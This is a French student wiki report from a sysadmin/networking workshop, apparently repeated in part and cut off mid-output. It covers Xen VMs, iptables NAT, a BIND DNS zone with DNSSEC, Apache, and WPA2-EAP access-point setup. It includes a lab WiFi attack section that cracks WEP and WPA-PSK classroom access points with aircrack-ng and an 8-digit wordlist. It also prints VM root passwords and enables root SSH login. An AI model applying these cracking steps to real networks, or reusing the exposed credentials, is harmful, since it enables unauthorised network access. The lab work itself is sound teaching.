On éteint notre machine : <syntaxhighlight lang="shell">
xen shutdown SE4.CachyOS
</syntaxhighlight>
Et on modifie :<syntaxhighlight lang="shell">
vim /etc/xen/SE4.CachyOS.cfg
</syntaxhighlight>

Et on ajoute ceci :<syntaxhighlight lang="shell">
disk = [
[...],
'phy:/dev/virtual/SE4.CachyOS.home,xvda3,w',
'phy:/dev/virtual/SE4.CachyOS.var,xvdb1,w'
]
</syntaxhighlight>

===== Sur la machine mandataire =====

Nous ajoutons les partitions dans '''''/etc/fstab''''' : <syntaxhighlight lang="shell">
/dev/xvda3 /var ext4 defaults 0 2
/dev/xvdb1 /home ext4 defaults 0 2
</syntaxhighlight>

Nous formatons les partitions avant de les utiliser : <syntaxhighlight lang="shell">
mkfs -t ext4 /dev/xvda3
mkfs -t ext4 /dev/xvdb1
</syntaxhighlight>

Nous copions le contenu de '''/var''' : <syntaxhighlight lang="shell">
mount /dev/xvda3 /mnt
mv /var/* /mnt
umount /mnt
</syntaxhighlight>

Nous montons ensuite automatiquement les partitions définies dans '''/etc/fstab''' : <syntaxhighlight lang="shell">
mount -a
</syntaxhighlight>

===== De nouveaux sur capbreton =====
On redémarre notre machine : <syntaxhighlight lang="shell">
xen create /etc/xen/SE4.CachyOS.cfg
</syntaxhighlight>

Ensuite on se connecte à notre VM via :<syntaxhighlight lang="shell">
xen console SE4.CachyOS
</syntaxhighlight>

===== Machines de Service - CachyOS & Manjaro =====
Dans notre VM :

On modifie :<syntaxhighlight lang="shell">
vim /etc/network/interfaces
</syntaxhighlight>
Et on ajoute ceci :<syntaxhighlight lang="shell">
auto lo
iface lo inet loopback

auto eth0
iface eth0 inet static
address 192.168.10.3/24
gateway 192.168.10.1

# Pour l'ipv6
auto eth1
iface eth1 inet6 auto

</syntaxhighlight>

* 172.60.0.3 est l'adresse IPV4 de la VM CachyOS

===== Machine Mandataire - LinusTorvalds =====
La machine mandataire agit comme passerelle IPv4 pour les machines de services. Voici sa configuration réseau :

La machine mandataire va posséder trois adresses. Une adresse IPv6 routée, une adresse IPv4 routée et une adresse IPv4 pour le réseau privé avec ces deux machines de services. Pour ce faire, nous devons au préalable configurer une nouvelle interface eth1 pour y intégrer la seconde adresse IPv4.

Sur capbreton, depuis <code>/etc/xen/SE4.CachyOS.cfg :</code><syntaxhighlight lang="shell">
vif = [[...], 'mac=00:16:3E:8B:45:ED,bridge=SE4']
</syntaxhighlight>Pour l'adresse mac on prend celui existant et on fait +1.

Depuis <code>/etc/resolv.conf </code>:<syntaxhighlight lang="shell">
nameserver 8.8.8.8

</syntaxhighlight>

==== SSH 476 ssh -oKexAlgorithms=+diffie-hellman-group14-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.3 ====
<syntaxhighlight lang="shell">
apt update
apt upgrade

apt install ssh
apt install bind9
apt install apache2
</syntaxhighlight>(Dans TOUTES les VMs)

On active le SSH en ajoutant dans <code>/etc/ssh/sshd_config</code> :<syntaxhighlight lang="shell">
PermitRootLogin yes
</syntaxhighlight>Pour redemarrer le service ssh :<syntaxhighlight lang="shell">
/etc/init.d/ssh restart
</syntaxhighlight>Pour la machine mandataire, ensuite après avoir reboot on peut faire dans nos machines de services :<syntaxhighlight lang="shell">
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.10.0/24
</syntaxhighlight>

==== Mascarade ====
Sur la mandataire : <syntaxhighlight lang="shell">
iptables -t nat -A PREROUTING -p tcp --dport 2202 -j DNAT --to-destination 192.168.10.3:22
iptables-save

</syntaxhighlight>Et on décommente cette ligne dans <code>/etc/sysctl.conf</code> : <syntaxhighlight lang="shell">
net.ipv4.ip_forward=1
</syntaxhighlight>Et maintenant nous pouvons nous connecter à notre machine de service en ssh : <syntaxhighlight lang="shell">
#IPV4
ssh root@193.48.57.166 -p 2202
# IPV6
ssh root@2001:660:4401:60a0:216:3eff:fe8b:45ed
</syntaxhighlight>

==== DNS ====
Tout d'abord, il faut modifier <code>/etc/bind/named.conf.local</code> : <syntaxhighlight lang="shell">
zone "archlinuxbtw.lol" {
type master;
file "/etc/bind/myZones/db.archlinuxbtw.lol";
allow-transfer{secondaries;};
notify yes;
};

acl "secondaries"{
192.168.10.2;
2001:660:4401:60a0:216:3eff:fe36:79d9;
};

zone "archlinux.lol" {
type secondary;
file "/etc/bind/backup/db.archlinux.lol";
primaries{2001:660:4401:60a0:216:3eff:fe36:79d9;};
};

</syntaxhighlight>J'ai ensuite créée un dossier myZones puis j'ai créer db.archlinuxbtw.lol et j'y ai ajouter :<syntaxhighlight lang="shell">
$TTL 400

@ IN SOA ns.archlinuxbtw.lol admin.archlinuxbtw.lol (
3609 ; Numero de version
21600 ; Rafraichissement (6h)
3600 ; Re-tentative (1h)
2592000 ; Expiration (30j)
86400 ; Cache negatif (24h)
);

IN NS ns.archlinuxbtw.lol.
IN NS ns.archlinux.lol.
@ IN A 193.48.57.166
@ IN AAAA 2001:660:4401:60a0:216:3eff:fe8b:45ed
ns IN A 193.48.57.166
ns IN AAAA 2001:660:4401:60a0:216:3eff:fe8b:45ed

www IN CNAME archlinuxbtw.lol

</syntaxhighlight>Ensuite on restart le service via : <code>service named restart</code>

Création d'une clé<syntaxhighlight lang="shell">
openssl req -nodes -newkey rsa:2048 -sha256 -keyout archlinuxbtw.lol.key -out archlinuxbtw.csr
</syntaxhighlight>
[[Fichier:DNS Check.png|centré|vignette|452x452px|DNS Checker ]]
Notre DNS est bien reconnu et la commande <code>dig @8.8.8.8 archlinuxbtw.lol</code> c'est grâce au Glue records.

Génération des clés

Changement nom machine <code>nano /etc/hostname : CachyOS</code>

Et dans /etc/hosts:

127.0.1.1 archlinuxbtw.lol SE4.CachyOS

==== DNSSEC ====
Afin de protéger notre DNS contre des possibles attaques nous utiliserons DNSSEC. Ici nous utiliserons la politique DNSSEC : <code>"dnspol"</code>
Ensuite on crée le dossier keys et on donne les droits a bind d'écrire dedans avec :<syntaxhighlight lang="shell">
mkdir /etc/bind/keys
chown bind:bind /etc/bind/keys
chmod 750 /etc/bind/keys
</syntaxhighlight>Pour ce faire, dans <code>named.conf.local</code> il faut rajouter les 3 lignes à partir de "key-directory" :<syntaxhighlight lang="shell">
key-directory "/etc/bind/keys";
dnssec-policy "dnspol"; // DNSSEC automatique
inline-signing yes;

[...]

dnssec-policy "dnspol" {
keys {
ksk key-directory lifetime unlimited algorithm 13;
zsk key-directory lifetime unlimited algorithm 13;
};
nsec3param;
};

</syntaxhighlight>Pour l'activer, il faut restart bind9 avec <code>systemctl restart bind9</code>

Il ne reste qu'à ajouter la clé KSK sur Gandi et ensite on peut voir s'il fonctionne bien grace au site suivant : <nowiki>https://dnsviz.net</nowiki>
[[Fichier:DNSSec.png|centré|vignette|DNSSec]]

Et on peut voir que nos clefs on bien été générer : <syntaxhighlight lang="shell">
root@CachyOS:/etc/bind# ls keys/
Karchlinuxbtw.lol.+013+24458.key Karchlinuxbtw.lol.+013+56682.key
Karchlinuxbtw.lol.+013+24458.private Karchlinuxbtw.lol.+013+56682.private
Karchlinuxbtw.lol.+013+24458.state Karchlinuxbtw.lol.+013+56682.state

</syntaxhighlight>

==== Apache ====
Dans ce repertoire <code>/etc/apache2/sites-availab</code>le : touch archlinuxbtw.lol.conf

Je genere un crt via la commande :

openssl x509 -req -days 365 -in archlinuxbtw.csr -signkey archlinuxb

tw.lol.key -out archlinuxbtw.lol.crt

Et je deplace mes fichiers dans :

root@CachyOS:~# mv archlinuxbtw.lol.crt /etc/ssl/certs/

root@CachyOS:~# mv archlinuxbtw.lol.key /etc/ssl/private/

root@CachyOS:~# chmod 600 /etc/ssl/private/archlinuxbtw.lol.key

Pour arreter le service par defaut : a2dissite 000-default.conf

Et on verifie avec la commande : apache2ctl -S

Iptable pour atteindres les ports https : <code># HTTP iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination 192.168.10.3:80 # HTTPS iptables -t nat -A PREROUTING -p tcp --dport 443 -j DNAT --to-destination 192.168.10.3:443 iptables-save</code>

iptables -A FORWARD -p tcp -d 192.168.10.3 --dport 80 -j ACCEPT

iptables -A FORWARD -p tcp -d 192.168.10.3 --dport 443 -j ACCEPT
==== Effraction WiFi ====

===== Cassage WEP =====
Il faut tout faire sur la zabeth13 comme on avait tester sur 4 machines dans la semaine avec mon binome les cartes réseaux des autres machines ne marchent pas.

Avec ip link je vois que l'interface wifi se nomme <code>wlx40a5ef0f679b</code>.

On peut alors recuperer le bssid de notre réseau wifi a crack. Je suis le numéro 5 donc je dois crack la cracotte05 :

<code>sudo airodump-ng wlx40a5ef0f679b</code>

Je recupere :

<code>BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID</code>

<code>04:DA:D2:9C:50:54 -63 27 5 0 4 54e. WEP WEP cracotte05</code>

Je peux alors dump correctement en filtrant seulement le bon bssid et le bon channel via cette commande :

<code>sudo airodump-ng wlx40a5ef0f679b --write airodump --bssid 04:DA:D2:9C:50:54 -c4</code>

Et en parallele on lance ceci jusqu'a ce que la clef soit trouvé :

<code>aircrack-ng airodump-01.cap</code><syntaxhighlight lang="shell">
Aircrack-ng 1.7

[00:26:11] Tested 835 keys (got 68980 IVs)
Got 70001 out of 70000 IVsStarting PTW attack with 70001 ivs.
KB depth byte(vote)
0 0/ 13 FF(97024) A3(79616) D9(79360) C5(78848) 3A(78592) E3(78592) 29(78336) D1(78336) E9(78080) 7C(77568) DF(77568) 34(76800) 85(76800) D8(76544) 24(76032)
1 0/ 1 CA(108544) CB(80128) B5(79104) EB(78336) 10(77824) A8(77312) E5(76800) F8(76800) E7(76544) EE(76544) 27(76288) 4C(76288) 68(76288) CC(76288) E6(76288)
2 2/ 2 A4(80128) 3A(78336) 14(76800) 5A(76544) D2(76544) 98(76032) 08(75776) 1D(75776) 40(75776) 99(75776) E4(75776) F2(75776) CD(75520) F7(75520) 56(75008)
3 0/ 1 D1(100608) 89(79872) 22(77568) 11(77056) A0(77056) 9E(76800) B0(76800) 98(76544) A9(76544) 5A(76032) AB(76032) CD(76032) 9A(75776) 4D(75520) 51(75264)
4 7/ 4 43(77312) 4E(76800) 0F(76544) 29(76544) BA(76544) 3E(76032) 61(75776) A6(75776) C6(75776) 89(75264) 21(75008) 5A(75008) 65(75008) C8(75008) DD(75008)

KEY FOUND! [ FF:FF:FF:FF:FA:BC:06:CB:AE:EE:EE:EE:EE ]
Decrypted correctly: 100%

</syntaxhighlight>

===== Cassage WPA-PKS =====
Ce script python permet de creer un dictionnaire :<syntaxhighlight lang="python">
with open("dictionnaire_8_chiffres.txt", "w") as f:
for i in range(100000000): # Pour générer des nombres de 00000000 à 99999999
f.write(f"{i:08d}\n") # Écrit le nombre avec 8 chiffres

</syntaxhighlight>ou alors avec crunch :

<code>crunch 8 8 0123456789 -o dictionnaire_8_chiffres.txt</code>

Ensuite après execution nous pouvons recuperer le fichier .txt créer.

On récuperer le dump comme precedemment pour cette borne pour mon cas :

<code>BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID</code>

<code>44:AD:D9:5F:87:04 -43 3 5 2 13 54e. WPA2 CCMP PSK kracotte05</code>

Je peux alors dump correctement en filtrant seulement le bon bssid et le bon channel via cette commande :<code>sudo airodump-ng wlx40a5ef0f679b --write airodumpWPA --bssid 44:AD:D9:5F:87:04 -c13</code>

Et ensuite après avoir récuperer 1 data minimum :

<code>aircrack-ng airodump-01.cap</code>

Et enfin on attend (c'est long si vous vous demander... tres looong faite la suite en attendant :<syntaxhighlight lang="bash">
Aircrack-ng 1.7

[00:35:36] 66631280/100000000 keys tested (30842.35 k/s)

Time left: 18 minutes, 1 second 66.63%

KEY FOUND! [ 66685666 ]

Master Key : EF 69 DE 33 B4 7F AA 9E 20 AB 3C AF F1 F7 3E A8
61 7C 80 F2 3C A9 FE B6 9A 72 98 B3 20 B3 2A A6

Transient Key : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

EAPOL HMAC : AD 95 F2 4D 5A 3F 4A 57 CD D8 0E EA A6 14 8B 1A

</syntaxhighlight>

==== Sécurisation WiFi par WPA2-EAP ====
Depuis notre machine de service on va se connecter sur notre borne wifi, ici on prend l'IP de la E304 :

<code>ssh -oKexAlgorithms=+diffie-hellman-group11-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.4</code>

<syntaxhighlight lang="bash">
conf t

aaa new-model
aaa authentication login eap_student5 group radius_student5
radius-server host 192.168.10.3 auth-port 1812 acct-port 1813 key secret_student5
aaa group server radius radius_student5
server 192.168.10.3 auth-port 1812 acct-port 1813
exit

dot11 ssid VM_SERVICES_5
vlan 15
authentication open eap eap_student5
authentication network-eap eap_student5
authentication key-management wpa
mbssid guest-mode
exit

interface Dot11Radio0
encryption vlan 15 mode ciphers aes-ccm
exit

interface Dot11Radio0.15
encapsulation dot1Q 15
bridge-group 15
exit

interface GigabitEthernet0.15
encapsulation dot1Q 15
bridge-group 15
exit

</syntaxhighlight>

et l'IP de la E305 :

<code>ssh -oKexAlgorithms=+diffie-hellman-group14-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.3</code>

Et ensuite sur le routeur :<syntaxhighlight lang="shell">
conf t

ip dhcp pool PoolCedric
network 10.60.5.0 255.255.255.0
dns-server 193.48.57.166
default-router 10.60.5.254
exit

exit
write
</syntaxhighlight><syntaxhighlight lang="shell">
interface Vlan15
description "VLAN personnel de Cedric PAYET (E5) - WPA2-EAP"
ip address 10.60.5.2 255.255.255.0
ipv6 address 2001:660:4401:60a5::2/64
vrrp 15 address-family ipv4
priority 110
address 10.60.5.1 primary
exit-vrrp
end

</syntaxhighlight>

=== Utiles ===

=== XEN ===
''Liste des VMs allumées :'' <syntaxhighlight lang="shell">
xen list
</syntaxhighlight>

''Se connecter à la VM :''<syntaxhighlight lang="shell">
xen console <nomMachine>
</syntaxhighlight>nomMachine : dans notre cas soit SE4.Manjaro | SE4.CachyOS | SE4.LinusTorvalds
''Sortir de la console xen :''<syntaxhighlight lang="shell">
Ctrl + Shift + 5
</syntaxhighlight>''Eteindre une VM :'' <syntaxhighlight lang="shell">
xen shutdown <nomMachine>
</syntaxhighlight>nomMachine : dans notre cas soit SE4.Manjaro | SE4.CachyOS | SE4.LinusTorvalds

''Allumer une VM :''<syntaxhighlight lang="shell">
xen create /etc/xen/<nomMachine>.cfg
</syntaxhighlight>

Atelier SysRes SE4 2025/2026 E5

2026-02-10T15:59:16Z

Cpayet : /* Utiles */

=== Compte rendu des commandes effectués ===

==== Etape 1 : Connexion SSH ====
ssh root@capbreton

Mot de passe :

==== Etape 2 : Créer un fichier dans le répertoire /etc/network/interfaces.d du Dom0 aux noms du binôme concerné ====
On se déplace à ce répertoire :<syntaxhighlight lang="shell">
cd /etc/network/interfaces.d/
</syntaxhighlight>On créer ensuite ensuite un fichier aux noms de notre binôme et on l'édite :<syntaxhighlight lang="shell">
touch SE42026_cpayet_tdelobel
vim SE42026_cpayet_tdelobel

</syntaxhighlight>Puis on donne un nom au bridge, ici c'est `pont_pacman`et on met dans le fichier ceci :<syntaxhighlight lang="shell">
auto pont_pacman
iface pont_pacman inet manual
bridge_ports none
up ip link set $IFACE up
down ip link set $IFACE down
</syntaxhighlight>Une fois le pont créer, il faut le démarrer :<syntaxhighlight lang="shell">
ifup pont_pacman
</syntaxhighlight>

==== Etape 3 : Création des VMs ====
<syntaxhighlight lang="shell">
xen-create-image --hostname=SE4.CachyOS --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force
xen-create-image --hostname=SE4.Manjaro --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force
xen-create-image --hostname=SE4.LinusTorvalds --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force
</syntaxhighlight>On adapte les hostnames en fonction des nom de nos machines.

'''''IMPORTANT :''''' Les résultats des commandes sont à noter car ellles contiennent les mots de passe et autres informations importantes.

===== Nos résultats : =====
CachyOS : <syntaxhighlight lang="shell">
Installation Summary
---------------------
Hostname : SE4.CachyOS
Distribution : daedalus
MAC Address : 00:16:3E:8B:45:EC
IP Address(es) : dynamic
SSH Fingerprint : SHA256:p+nECGSXOPvFjDjk+/x8adAn8JxTTPjuknCTcFZxJNk (DSA)
SSH Fingerprint : SHA256:YaNMhK5ZFF/TshemMHSmt08R9uBPAnhNK134XEZ0CuY (ECDSA)
SSH Fingerprint : SHA256:qQNuBNfAoySUPOFPplDh8p0ZPtxRulz/vbOq+Pm4gwM (ED25519)
SSH Fingerprint : SHA256:psWV2TNuHsZcRelqipM7TJ/mE4cvFI+oxndg6nvCpCk (RSA)
Root Password : 6nyCiterydiMtnxsPDRsUys

</syntaxhighlight>Manjaro : <syntaxhighlight lang="shell">

Installation Summary
---------------------
Hostname : SE4.Manjaro
Distribution : daedalus
MAC Address : 00:16:3E:36:79:D8
IP Address(es) : dynamic
SSH Fingerprint : SHA256:n+ojtWyKBODRtEppjCvAp6nd2cjL/Ily54j0cM03lMc (DSA)
SSH Fingerprint : SHA256:K+Qa9NAU3JIGsMy3LEYCgFbfL3ozuiRKG+U3XsbV5ow (ECDSA)
SSH Fingerprint : SHA256:AJLfxk4Zz8BZflWYOS8mifapH+uAFgGKA3WSj6rN0NA (ED25519)
SSH Fingerprint : SHA256:/6iWOWoii0nJsbScwVYIGQAbuTI1/YIpaRyRdBl8mwE (RSA)
Root Password : PgvMbhYvgtksg8tmiJnVZnQ
</syntaxhighlight>LinusTorvalds :<syntaxhighlight lang="shell">
Installation Summary
---------------------
Hostname : SE4.LinusTorvalds
Distribution : daedalus
MAC Address : 00:16:3E:AA:BF:EF
IP Address(es) : dynamic
SSH Fingerprint : SHA256:ouY/2dce0YI/mJD9Qw68oKU0xdw6Cs9ybgJxRm/FKiI (DSA)
SSH Fingerprint : SHA256:p5lZznE0q8j6c68YTF5toYgBugOkc0IopTO+Ce9SiZ8 (ECDSA)
SSH Fingerprint : SHA256:FbqBOG+0bBjuQBOlAytAlbMV/9VoJ8BAlFadG/VaGD4 (ED25519)
SSH Fingerprint : SHA256:FCEtQGUhMhN9DDtTmt5zts/9PeC7ahnmJA7UOhMnGeg (RSA)
Root Password : ekrmCSKb3ZAxXSYvNpjbiSK
</syntaxhighlight>

==== Etape 4 : ====
PHRASE MANQUANTE<syntaxhighlight lang="shell">
xen create /etc/xen/SE4.Manjaro.cfg
xen create /etc/xen/SE4.CachyOS.cfg
xen create /etc/xen/SE4.LinusTorvalds.cfg
</syntaxhighlight>On vérifie la liste des machines lancées via : <syntaxhighlight lang="shell">
xen list
</syntaxhighlight>

===== Nos résultats : =====
<syntaxhighlight lang="shell">
Name ID Mem VCPUs State Time(s)
SE4.CachyOS 83 2048 1 -b---- 5.6
SE4.Manjaro 85 2048 1 -b---- 5.8
SE4.LinusTorvalds 87 2048 1 -b---- 5.3
</syntaxhighlight>

==== Etape 5 : Partition ====

===== Sur capbreton =====

On partionne avec cette commande :<syntaxhighlight lang="shell">
lvcreate -n SE4.CachyOS.var -L 10G virtual
</syntaxhighlight>
On éteint notre machine : <syntaxhighlight lang="shell">
xen shutdown SE4.CachyOS
</syntaxhighlight>
Et on modifie :<syntaxhighlight lang="shell">
vim /etc/xen/SE4.CachyOS.cfg
</syntaxhighlight>

Et on ajoute ceci :<syntaxhighlight lang="shell">
disk = [
[...],
'phy:/dev/virtual/SE4.CachyOS.home,xvda3,w',
'phy:/dev/virtual/SE4.CachyOS.var,xvdb1,w'
]
</syntaxhighlight>

===== Sur la machine mandataire =====

Nous ajoutons les partitions dans '''''/etc/fstab''''' : <syntaxhighlight lang="shell">
/dev/xvda3 /var ext4 defaults 0 2
/dev/xvdb1 /home ext4 defaults 0 2
</syntaxhighlight>

Nous formatons les partitions avant de les utiliser : <syntaxhighlight lang="shell">
mkfs -t ext4 /dev/xvda3
mkfs -t ext4 /dev/xvdb1
</syntaxhighlight>

Nous copions le contenu de '''/var''' : <syntaxhighlight lang="shell">
mount /dev/xvda3 /mnt
mv /var/* /mnt
umount /mnt
</syntaxhighlight>

Nous montons ensuite automatiquement les partitions définies dans '''/etc/fstab''' : <syntaxhighlight lang="shell">
mount -a
</syntaxhighlight>

===== De nouveaux sur capbreton =====
On redémarre notre machine : <syntaxhighlight lang="shell">
xen create /etc/xen/SE4.CachyOS.cfg
</syntaxhighlight>

Ensuite on se connecte à notre VM via :<syntaxhighlight lang="shell">
xen console SE4.CachyOS
</syntaxhighlight>

===== Machines de Service - CachyOS & Manjaro =====
Dans notre VM :

On modifie :<syntaxhighlight lang="shell">
vim /etc/network/interfaces
</syntaxhighlight>
Et on ajoute ceci :<syntaxhighlight lang="shell">
auto lo
iface lo inet loopback

auto eth0
iface eth0 inet static
address 192.168.10.3/24
gateway 192.168.10.1

# Pour l'ipv6
auto eth1
iface eth1 inet6 auto

</syntaxhighlight>

* 172.60.0.3 est l'adresse IPV4 de la VM CachyOS

===== Machine Mandataire - LinusTorvalds =====
La machine mandataire agit comme passerelle IPv4 pour les machines de services. Voici sa configuration réseau :

La machine mandataire va posséder trois adresses. Une adresse IPv6 routée, une adresse IPv4 routée et une adresse IPv4 pour le réseau privé avec ces deux machines de services. Pour ce faire, nous devons au préalable configurer une nouvelle interface eth1 pour y intégrer la seconde adresse IPv4.

Sur capbreton, depuis <code>/etc/xen/SE4.CachyOS.cfg :</code><syntaxhighlight lang="shell">
vif = [[...], 'mac=00:16:3E:8B:45:ED,bridge=SE4']
</syntaxhighlight>Pour l'adresse mac on prend celui existant et on fait +1.

Depuis <code>/etc/resolv.conf </code>:<syntaxhighlight lang="shell">
nameserver 8.8.8.8

</syntaxhighlight>

==== SSH 476 ssh -oKexAlgorithms=+diffie-hellman-group14-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.3 ====
<syntaxhighlight lang="shell">
apt update
apt upgrade

apt install ssh
apt install bind9
apt install apache2
</syntaxhighlight>(Dans TOUTES les VMs)

On active le SSH en ajoutant dans <code>/etc/ssh/sshd_config</code> :<syntaxhighlight lang="shell">
PermitRootLogin yes
</syntaxhighlight>Pour redemarrer le service ssh :<syntaxhighlight lang="shell">
/etc/init.d/ssh restart
</syntaxhighlight>Pour la machine mandataire, ensuite après avoir reboot on peut faire dans nos machines de services :<syntaxhighlight lang="shell">
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.10.0/24
</syntaxhighlight>

==== Mascarade ====
Sur la mandataire : <syntaxhighlight lang="shell">
iptables -t nat -A PREROUTING -p tcp --dport 2202 -j DNAT --to-destination 192.168.10.3:22
iptables-save

</syntaxhighlight>Et on décommente cette ligne dans <code>/etc/sysctl.conf</code> : <syntaxhighlight lang="shell">
net.ipv4.ip_forward=1
</syntaxhighlight>Et maintenant nous pouvons nous connecter à notre machine de service en ssh : <syntaxhighlight lang="shell">
#IPV4
ssh root@193.48.57.166 -p 2202
# IPV6
ssh root@2001:660:4401:60a0:216:3eff:fe8b:45ed
</syntaxhighlight>

==== DNS ====
Tout d'abord, il faut modifier <code>/etc/bind/named.conf.local</code> : <syntaxhighlight lang="shell">
zone "archlinuxbtw.lol" {
type master;
file "/etc/bind/myZones/db.archlinuxbtw.lol";
allow-transfer{secondaries;};
notify yes;
};

acl "secondaries"{
192.168.10.2;
2001:660:4401:60a0:216:3eff:fe36:79d9;
};

zone "archlinux.lol" {
type secondary;
file "/etc/bind/backup/db.archlinux.lol";
primaries{2001:660:4401:60a0:216:3eff:fe36:79d9;};
};

</syntaxhighlight>J'ai ensuite créée un dossier myZones puis j'ai créer db.archlinuxbtw.lol et j'y ai ajouter :<syntaxhighlight lang="shell">
$TTL 400

@ IN SOA ns.archlinuxbtw.lol admin.archlinuxbtw.lol (
3609 ; Numero de version
21600 ; Rafraichissement (6h)
3600 ; Re-tentative (1h)
2592000 ; Expiration (30j)
86400 ; Cache negatif (24h)
);

IN NS ns.archlinuxbtw.lol.
IN NS ns.archlinux.lol.
@ IN A 193.48.57.166
@ IN AAAA 2001:660:4401:60a0:216:3eff:fe8b:45ed
ns IN A 193.48.57.166
ns IN AAAA 2001:660:4401:60a0:216:3eff:fe8b:45ed

www IN CNAME archlinuxbtw.lol

</syntaxhighlight>Ensuite on restart le service via : <code>service named restart</code>

Création d'une clé<syntaxhighlight lang="shell">
openssl req -nodes -newkey rsa:2048 -sha256 -keyout archlinuxbtw.lol.key -out archlinuxbtw.csr
</syntaxhighlight>
[[Fichier:DNS Check.png|centré|vignette|452x452px|DNS Checker ]]
Notre DNS est bien reconnu et la commande <code>dig @8.8.8.8 archlinuxbtw.lol</code> c'est grâce au Glue records.

Génération des clés

Changement nom machine <code>nano /etc/hostname : CachyOS</code>

Et dans /etc/hosts:

127.0.1.1 archlinuxbtw.lol SE4.CachyOS

==== DNSSEC ====
Afin de protéger notre DNS contre des possibles attaques nous utiliserons DNSSEC. Ici nous utiliserons la politique DNSSEC : <code>"dnspol"</code>
Ensuite on crée le dossier keys et on donne les droits a bind d'écrire dedans avec :<syntaxhighlight lang="shell">
mkdir /etc/bind/keys
chown bind:bind /etc/bind/keys
chmod 750 /etc/bind/keys
</syntaxhighlight>Pour ce faire, dans <code>named.conf.local</code> il faut rajouter les 3 lignes à partir de "key-directory" :<syntaxhighlight lang="shell">
key-directory "/etc/bind/keys";
dnssec-policy "dnspol"; // DNSSEC automatique
inline-signing yes;

[...]

dnssec-policy "dnspol" {
keys {
ksk key-directory lifetime unlimited algorithm 13;
zsk key-directory lifetime unlimited algorithm 13;
};
nsec3param;
};

</syntaxhighlight>Pour l'activer, il faut restart bind9 avec <code>systemctl restart bind9</code>

Il ne reste qu'à ajouter la clé KSK sur Gandi et ensite on peut voir s'il fonctionne bien grace au site suivant : <nowiki>https://dnsviz.net</nowiki>
[[Fichier:DNSSec.png|centré|vignette|DNSSec]]

Et on peut voir que nos clefs on bien été générer : <syntaxhighlight lang="shell">
root@CachyOS:/etc/bind# ls keys/
Karchlinuxbtw.lol.+013+24458.key Karchlinuxbtw.lol.+013+56682.key
Karchlinuxbtw.lol.+013+24458.private Karchlinuxbtw.lol.+013+56682.private
Karchlinuxbtw.lol.+013+24458.state Karchlinuxbtw.lol.+013+56682.state

</syntaxhighlight>

==== Apache ====
Dans ce repertoire <code>/etc/apache2/sites-availab</code>le : touch archlinuxbtw.lol.conf

Je genere un crt via la commande :

openssl x509 -req -days 365 -in archlinuxbtw.csr -signkey archlinuxb

tw.lol.key -out archlinuxbtw.lol.crt

Et je deplace mes fichiers dans :

root@CachyOS:~# mv archlinuxbtw.lol.crt /etc/ssl/certs/

root@CachyOS:~# mv archlinuxbtw.lol.key /etc/ssl/private/

root@CachyOS:~# chmod 600 /etc/ssl/private/archlinuxbtw.lol.key

Pour arreter le service par defaut : a2dissite 000-default.conf

Et on verifie avec la commande : apache2ctl -S

Iptable pour atteindres les ports https : <code># HTTP iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination 192.168.10.3:80 # HTTPS iptables -t nat -A PREROUTING -p tcp --dport 443 -j DNAT --to-destination 192.168.10.3:443 iptables-save</code>

iptables -A FORWARD -p tcp -d 192.168.10.3 --dport 80 -j ACCEPT

iptables -A FORWARD -p tcp -d 192.168.10.3 --dport 443 -j ACCEPT
==== Effraction WiFi ====

===== Cassage WEP =====
Il faut tout faire sur la zabeth13 comme on avait tester sur 4 machines dans la semaine avec mon binome les cartes réseaux des autres machines ne marchent pas.

Avec ip link je vois que l'interface wifi se nomme <code>wlx40a5ef0f679b</code>.

On peut alors recuperer le bssid de notre réseau wifi a crack. Je suis le numéro 5 donc je dois crack la cracotte05 :

<code>sudo airodump-ng wlx40a5ef0f679b</code>

Je recupere :

<code>BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID</code>

<code>04:DA:D2:9C:50:54 -63 27 5 0 4 54e. WEP WEP cracotte05</code>

Je peux alors dump correctement en filtrant seulement le bon bssid et le bon channel via cette commande :

<code>sudo airodump-ng wlx40a5ef0f679b --write airodump --bssid 04:DA:D2:9C:50:54 -c4</code>

Et en parallele on lance ceci jusqu'a ce que la clef soit trouvé :

<code>aircrack-ng airodump-01.cap</code><syntaxhighlight lang="shell">
Aircrack-ng 1.7

[00:26:11] Tested 835 keys (got 68980 IVs)
Got 70001 out of 70000 IVsStarting PTW attack with 70001 ivs.
KB depth byte(vote)
0 0/ 13 FF(97024) A3(79616) D9(79360) C5(78848) 3A(78592) E3(78592) 29(78336) D1(78336) E9(78080) 7C(77568) DF(77568) 34(76800) 85(76800) D8(76544) 24(76032)
1 0/ 1 CA(108544) CB(80128) B5(79104) EB(78336) 10(77824) A8(77312) E5(76800) F8(76800) E7(76544) EE(76544) 27(76288) 4C(76288) 68(76288) CC(76288) E6(76288)
2 2/ 2 A4(80128) 3A(78336) 14(76800) 5A(76544) D2(76544) 98(76032) 08(75776) 1D(75776) 40(75776) 99(75776) E4(75776) F2(75776) CD(75520) F7(75520) 56(75008)
3 0/ 1 D1(100608) 89(79872) 22(77568) 11(77056) A0(77056) 9E(76800) B0(76800) 98(76544) A9(76544) 5A(76032) AB(76032) CD(76032) 9A(75776) 4D(75520) 51(75264)
4 7/ 4 43(77312) 4E(76800) 0F(76544) 29(76544) BA(76544) 3E(76032) 61(75776) A6(75776) C6(75776) 89(75264) 21(75008) 5A(75008) 65(75008) C8(75008) DD(75008)

